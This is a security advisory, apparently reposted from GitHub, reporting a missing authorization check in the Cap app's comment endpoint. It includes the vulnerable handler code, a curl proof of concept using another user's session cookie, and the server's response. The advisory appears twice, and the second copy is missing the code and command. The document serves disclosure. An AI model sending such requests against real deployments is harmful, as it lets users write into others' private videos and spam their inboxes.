reported on 4 June 2026 https://github.com/CapSoftware/Cap/security/advisories/GHSA-5r3r-v2f5-wqwh - no response:
Summary
The POST /api/video/comment endpoint accepts a videoId in the request body and inserts a comment attributed to the authenticated caller without checking whether the caller has permission to view or interact with the target video. Any authenticated user can inject comments into any other user's private recordings.
Details
The handler at apps/web/app/api/video/comment/route.ts (POST, lines 11-87) authenticates the session to obtain a userId, then immediately inserts the comment into the database:
const userId = user?.id || User.UserId.make("anonymous");
// ... no video access check ...
const newComment = {
id: Comment.CommentId.make(nanoId()),
authorId: userId,
type: type,
content: content,
videoId: Video.VideoId.make(videoId),
timestamp: timestamp || null,
parentCommentId: parentCommentIdSanitized || null,
createdAt: new Date(),
updatedAt: new Date(),
};
await db().insert(comments).values(newComment);
There is no lookup of the video to check public status, ownership, or org/space membership before the insert. The delete path (apps/web/app/api/video/comment/delete/route.ts) correctly checks that the comment belongs to the requesting user (and(eq(comments.id, ...), eq(comments.authorId, user.id))), but the creation path has no equivalent guard.
PoC
Preconditions: User A has a private video (public=false). User B has no membership in User A's organization and cannot view the video at /s/{videoId}.
-
Authenticate as User B and obtain a session token.
-
POST to the comment endpoint with User A's private video ID:
curl -s -X POST "http://<host>/api/video/comment" \
-H "Cookie: next-auth.session-token=<User B token>" \
-H "Content-Type: application/json" \
-d '{"type":"text","content":"injected comment","videoId":"vid001vidtest00"}'
- Response (200 OK):
{
"id": "z5ef9735wsv0h7g",
"authorId": "tcrhw9md2124491",
"type": "text",
"content": "injected comment",
"videoId": "vid001vidtest00",
"timestamp": null,
"parentCommentId": null,
"createdAt": "2026-06-03T22:34:57.420Z",
"updatedAt": "2026-06-03T22:34:57.420Z",
"authorName": "Anonymous"
}
- The comment is now stored in the database with User B's authorId and will appear if the video is later made public or if the owner views their notifications.
The comment-notification pipeline (apps/web/app/api/email/new-comment/route.ts) is also triggered, meaning the video owner receives a notification email for each injected comment.
Impact
Any authenticated user can write comments into another user's private video without any access to that video. Beyond the authorization bypass itself, this allows an attacker to spam the video owner with comment notification emails (low-cost notification abuse), inject content into a private video's comment thread that will appear if the video is later shared, and probe whether a guessed video ID belongs to a real video (200 vs no such video response).
reported on 4 June 2026 https://github.com/CapSoftware/Cap/security/advisories/GHSA-5r3r-v2f5-wqwh - no response:
Summary
The POST /api/video/comment endpoint accepts a videoId in the request body and inserts a comment attributed to the authenticated caller without checking whether the caller has permission to view or interact with the target video. Any authenticated user can inject comments into any other user's private recordings.
Details
The handler at apps/web/app/api/video/comment/route.ts (POST, lines 11-87) authenticates the session to obtain a userId, then immediately inserts the comment into the database:
There is no lookup of the video to check public status, ownership, or org/space membership before the insert. The delete path (apps/web/app/api/video/comment/delete/route.ts) correctly checks that the comment belongs to the requesting user (and(eq(comments.id, ...), eq(comments.authorId, user.id))), but the creation path has no equivalent guard.
PoC
Preconditions: User A has a private video (public=false). User B has no membership in User A's organization and cannot view the video at /s/{videoId}.
Authenticate as User B and obtain a session token.
POST to the comment endpoint with User A's private video ID:
{ "id": "z5ef9735wsv0h7g", "authorId": "tcrhw9md2124491", "type": "text", "content": "injected comment", "videoId": "vid001vidtest00", "timestamp": null, "parentCommentId": null, "createdAt": "2026-06-03T22:34:57.420Z", "updatedAt": "2026-06-03T22:34:57.420Z", "authorName": "Anonymous" }The comment-notification pipeline (apps/web/app/api/email/new-comment/route.ts) is also triggered, meaning the video owner receives a notification email for each injected comment.
Impact
Any authenticated user can write comments into another user's private video without any access to that video. Beyond the authorization bypass itself, this allows an attacker to spam the video owner with comment notification emails (low-cost notification abuse), inject content into a private video's comment thread that will appear if the video is later shared, and probe whether a guessed video ID belongs to a real video (200 vs no such video response).